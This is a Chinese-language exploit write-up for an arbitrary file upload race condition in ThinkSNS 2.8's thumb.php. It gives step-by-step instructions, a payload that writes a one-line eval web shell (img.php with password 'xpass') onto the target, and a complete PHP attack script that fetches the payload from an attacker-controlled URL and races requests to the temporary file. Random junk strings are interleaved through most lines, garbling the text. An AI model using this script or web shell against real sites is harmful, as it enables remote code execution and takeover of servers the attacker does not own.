漏洞版本0 T. m9 {, }6 Q! B/ F1 q
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)$ V& u- j/ [6 _ r' k
漏洞文件' i$ E* v# z" d+ C6 d3 f5 q, G- H
存在漏洞的文件为:thumb.php% o+ K% g' u. R5 R1 `' \" D
作者:韦鲲鹏% I9 o" V2 a- |* G2 l' D' h
1、 准备如下PHP文件并上传到服务器(自己的)。
! z0 ^% G2 U9 i1 a; p7 O: j L$ p2 N文件内容如下:
# q5 @3 |5 P% x<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>+ w8 w7 E3 j8 h* X
2、 计算出临时的文件名:/ g1 t9 [0 d2 l( y" }
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ p, y! Y, M) ^/ O! g
3 z. g5 H- L+ W3、 上传临时文件。2 {+ ]# `. \: ~8 D! \5 l! Y3 M
4、 访问临时文件。
# F c* t$ M \6 @- e( H但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
/ A- N3 u: n' \' hExploit文件内容如下:(这个我就不详细解释了)
2 l* @- F; t. w |/ H1 ]0 ?- v/ Z<?php+ l# ?* i. ?& y; }6 i! W
error_reporting(0);. X! z# ~- P: h- g
set_time_limit(0);
5 B% u& t, G# U$ w" I8 O) B( Nini_set(“default_socket_timeout”, 5);1 K% R2 u5 `/ @4 K6 H
function http_send($host, $port, $headers) {
+ L1 {, v: v3 ]$ h% {7 j) k0 K' }$fp = fsockopen($host, $port);
! R6 b/ _8 N: {$ ?if (!$fp) die(‘Connection -> fail’);
' e* x: ]% X% l/ ]: r& gfputs($fp, $headers);
( z- L* w9 k. u) ]0 jreturn $fp;5 W5 ]" F, j' T9 y
}7 n. g! i* h5 W l, h! j$ S# k
function http_recv($fp) {- i+ r+ i8 g2 C2 C3 ~6 j* v- d
$ret=”";. P5 B9 T( }7 [+ Q
while (!feof($fp))8 o* Z2 f* C( g# P
$ret.= fgets($fp, 1024);
1 u1 x4 \% l" o, ]8 Zfclose($fp);
' [; C+ S, F' Ireturn $ret; L8 k2 b+ m! ]9 H% F* {: Z$ q5 I
}, P; i9 E5 U/ y6 b
print “\n# ThinkSns Arbitrary File Upload #\n”;
. } V i: H3 c! D7 Rprint “# Discovered by 韦鲲鹏 #\n\n”;
2 a$ O; L0 z) ^4 Y s0 oif ($argc < 4) {
& M4 p2 F {1 F5 M+ B, V" D% gprint “Usage: php <host> <path> <romote_url>\n”;5 n9 W" v, g* V( z, O2 M
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;! @' s: x, c5 m, F/ W2 y/ @
die();
" ~, Y9 V B7 r: Y9 }/ H5 @}
# K; Q! i1 h/ @) X$host = $argv[1];# {. z5 L3 K& y0 ^) P+ @
$path = $argv[2];0 e' J4 S9 Q" |( ?. m, y! K
$url = $argv[3];* \9 B- _$ ?8 i. Q
$i=0;
" ^6 ~4 O. S; {! u% T' D) p//上传数据包8 X! g8 ?# B& {7 h5 a
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;3 O- d+ ]5 K* r& \9 y" r
$headers_up .= “Host: “.$host.”\r\n”;
1 B* |* \. l h# A& K* T; b$headers_up .= “Connection: close\r\n\r\n”;
6 c* q- U3 d' G' mecho $headers_up;1 O- y3 s# e! n, \3 h' _) j. o
//临时文件访问数据包4 X" [1 v. }+ r
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;; y+ z# p7 A5 ~, R7 O( B
$headers .= “Host: “.$host.”\r\n”;
( `3 S* U# {1 J5 n, F! B& J# ^4 m$headers .= “Connection: close\r\n\r\n”;
6 e, l& d4 c1 ^* R; W& Qecho $headers;
- B" h- o! @, z" I! dwhile(++$i<10) {
; _. j0 }. f& ?" O- {fclose(http_send($host, 80, $headers));, P* d1 J3 V; m' }6 o& G
}
& X2 o: E6 {) d7 ~$ A/ ^! X3 V3 V$ Ofclose(http_send($host, 80, $headers_up));
4 |! @+ i, J: C" I/ Q$ S8 xwhile(++$i<50) {
% i% A, x7 f0 t+ d) O6 Pfclose(http_send($host, 80, $headers));# z. Z+ {3 i* }( } v3 S: I- s
}- F; ?& d3 h* W( ~2 i6 b7 |+ N4 I
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
3 J0 A' ~' e- B$headers .= “Host: “.$host.”\r\n”;- {! I6 e; b3 [0 i0 E
$headers .= “Connection: close\r\n\r\n”;/ B$ s1 S) B" j
$res=http_recv(http_send($host, 80, $headers));; m* a& k% h0 M7 H/ Z9 A
if(preg_match(‘/200 OK/’,$res)) {
, R X5 }# Y; P" [ z v4 uprint “Success!\n\n”;9 M% I3 }$ F! \) x% e1 t
} else {
0 e# b' q4 C/ N7 l# Bprint “Fail!\n\n”;! _0 y/ j( T2 m1 k3 |, f; W9 k
}. V8 ]; P% D4 ~# |2 e+ f# p6 x0 C2 M
?>
, X. ]: X$ {/ v. H |